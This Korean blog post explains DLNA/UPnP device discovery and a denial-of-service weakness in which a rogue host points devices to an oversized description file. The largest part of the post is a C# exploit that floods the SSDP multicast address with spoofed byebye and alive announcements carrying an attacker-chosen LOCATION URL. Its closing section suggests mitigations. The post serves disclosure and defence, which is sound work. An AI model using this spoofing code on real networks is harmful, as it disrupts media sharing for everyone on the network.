1. DLNA 란?

Digital Living Network Alliance 의 약어로서, upnp 기반입니다.

프로토콜은 내부적으로 SOAP 를 사용하고 있지요.

흔히 쉽게 접할 수 있는 것으로서는 Windows Media Player 나 삼성 AllSharePlay 같은 것들이 이 기술을 사용하고 있습니다.

Device 간 서로 미디어를 공유하고 Controller 할 수 있는 프로그램이지요.




2. 프로토콜의 이해


앞서 말씀드렸듯이, 이는 기본적으로 SOAP 포멧을 가지고 통신을 합니다.

초기 디바이스간 HandShaking 을 하기 위해서, UDP 를 통한 BroatCast (Multi-cast) 를 합니다.


PC 에서 DLNA 를 지원하는 팩스를 찾는 시나리오는 다음과 같습니다.


1. PC 에서 UDP를 통해서 MultiCast 로 'FAX 기능이 있는 디바이스는 응답을 줘' 라고 보냅니다.

2. 'FAX 기능이 있는 디바이스'들은 '나 여기 있소. 내 정보는 http://xxx.xxx.xxx.xxx/description.xml 파일에 있으니, 받아가시오.

3. PC 는 전달받은 description 파일위치에 접속하여, 다운로드 받습니다.

4. 받은 파일을 분석하여, 자신이 찾는 기능을 지원하는지 확인합니다.


이 과정에서 일종의 DOS 가 생길 수 있습니다.

만약 description.xml 이 엄청나게 용량이 큰 파일이라면 어떻게 될까요?

말씀드린데로 Multi-cast 를 이용하는 것이라, 네트워크 망에 이런 악의적인 놈이 존재한다면 어떨까요?

들어오는 SEARCH 메세지에 무조건 응답하며, 악의적인 description 파일을 쏘아댄다면, 

네트워크 망 안에 있는 모든 기기들이 DLNA 기능을 제대로 사용할 수 없는 환경이 되어 버립니다.




3. Exploit


public static void Attack()
{
    IPEndPoint BroadCastIP = new IPEndPoint(IPAddress.Parse("239.255.255.250"), 1900); 
    UdpClient client = new UdpClient();
    client.Client.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.ReuseAddress, true); 
    client.Client.SetSocketOption(SocketOptionLevel.Udp, SocketOptionName.NoDelay, 1); 
    client.Client.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.MulticastTimeToLive, 64); 
    client.Client.MulticastLoopback = true; 

    string target = textBox1.Text; 
    Random random = new Random(System.DateTime.Now.Millisecond); 
    int key = random.Next(1000, 9999); 
    string udn = String.Format("0d1cef00-{0}-0000-1111-000000000000", key); 
    string msg1 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nNT: upnp:rootdevice\r\nNTS: ssdp:byebye\r\nUSN: uuid:{0}::upnp:rootdevice\r\n\r\n", udn); 
    string msg2 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nNT: uuid:{0}\r\nNTS: ssdp:byebye\r\nUSN: uuid:{0}\r\n\r\n", udn); 
    string msg3 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nNT: urn:schemas-upnp-org:device:MediaServer:1\r\nNTS: ssdp:byebye\r\nUSN: uuid:{0}::urn:schemas-upnp-org:device:MediaServer:1\r\n\r\n", udn);
    string msg4 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nNT: urn:schemas-upnp-org:service:ConnectionManager:1\r\nNTS: ssdp:byebye\r\nUSN: uuid:{0}::urn:schemas-upnp-org:service:ConnectionManager:1\r\n", udn);
    string msg5 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nNT: urn:schemas-upnp-org:service:ContentDirectory:1\r\nNTS: ssdp:byebye\r\nUSN: uuid:{0}::urn:schemas-upnp-org:service:ContentDirectory:1\r\n\r\n", udn);

    IPAddress localIpAddress = Dns.GetHostAddresses(Dns.GetHostName()).FirstOrDefault(i => i.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) ?? IPAddress.Loopback;

    byte[] send = System.Text.Encoding.UTF8.GetBytes(msg1);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
    send = System.Text.Encoding.UTF8.GetBytes(msg2);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
    send = System.Text.Encoding.UTF8.GetBytes(msg3);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
    send = System.Text.Encoding.UTF8.GetBytes(msg4);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
    send = System.Text.Encoding.UTF8.GetBytes(msg5); 
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
            
    string message1 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: urn:schemas-upnp-org:service:ContentDirectory:1\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}::urn:schemas-upnp-org:service:ContentDirectory:1\r\n\r\n", target, udn, key);
    string message2 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: upnp:rootdevice\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}::upnp:rootdevice\r\n\r\n", target, udn, key);
    string message3 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: uuid:{1}\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}\r\n\r\n", target, udn, key);
    string message4 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: urn:schemas-upnp-org:device:MediaServer:1\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}::urn:schemas-upnp-org:device:MediaServer:1\r\n\r\n", target, udn, key);
    string message5 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: urn:schemas-upnp-org:service:ConnectionManager:1\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}::urn:schemas-upnp-org:service:ConnectionManager:1\r\n\r\n", target, udn, key); 
    string message6 = String.Format("NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nCACHE-CONTROL: max-age=1810\r\nLOCATION: {0}\r\nNT: urn:schemas-upnp-org:service:ContentDirectory:1\r\nNTS: ssdp:alive\r\nSERVER: {2}\r\nUSN: uuid:{1}::urn:schemas-upnp-org:service:ContentDirectory:1\r\n\r\n", target, udn, key);
    send = System.Text.Encoding.UTF8.GetBytes(message1);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP); 
    send = System.Text.Encoding.UTF8.GetBytes(message2);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP); send = System.Text.Encoding.UTF8.GetBytes(message3); 
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP); send = System.Text.Encoding.UTF8.GetBytes(message4);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP); send = System.Text.Encoding.UTF8.GetBytes(message5);
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP); send = System.Text.Encoding.UTF8.GetBytes(message6); 
    client.Send(send, send.Length, new IPEndPoint(localIpAddress, BroadCastIP.Port));
    client.Send(send, send.Length, BroadCastIP);
} 





4. 대응

물론 해결 방법은 여러가지가 있습니다.

모든 DLNA 기기는 description 파일을 읽을때, 조심하면 됩니다.

패킷에 있는 ip 와 description 파일 주소의 ip 를 1차적으로 확인하고,

2차적으로 파일의 사이즈를 체크하며, 전체를 읽어들이기 전에,

부분적으로 읽어가면서 파싱을 시도하면 됩니다.


하지만 대게 이런 과정은 복잡하며(그냥 전체를 읽고 파싱하면 간단한데 말이죠), 귀찮아 집니다.

그리하여, 실제 이렇게까지 체크하는 디바이스는 없다고 봅니다.

취약점이 존재하는 것이죠.


'Security' 카테고리의 다른 글

Bash Exploit  (0) 2014.09.26
Attacking with HTML5  (0) 2011.05.08
DLNA 의 보안 문제점  (0) 2011.05.02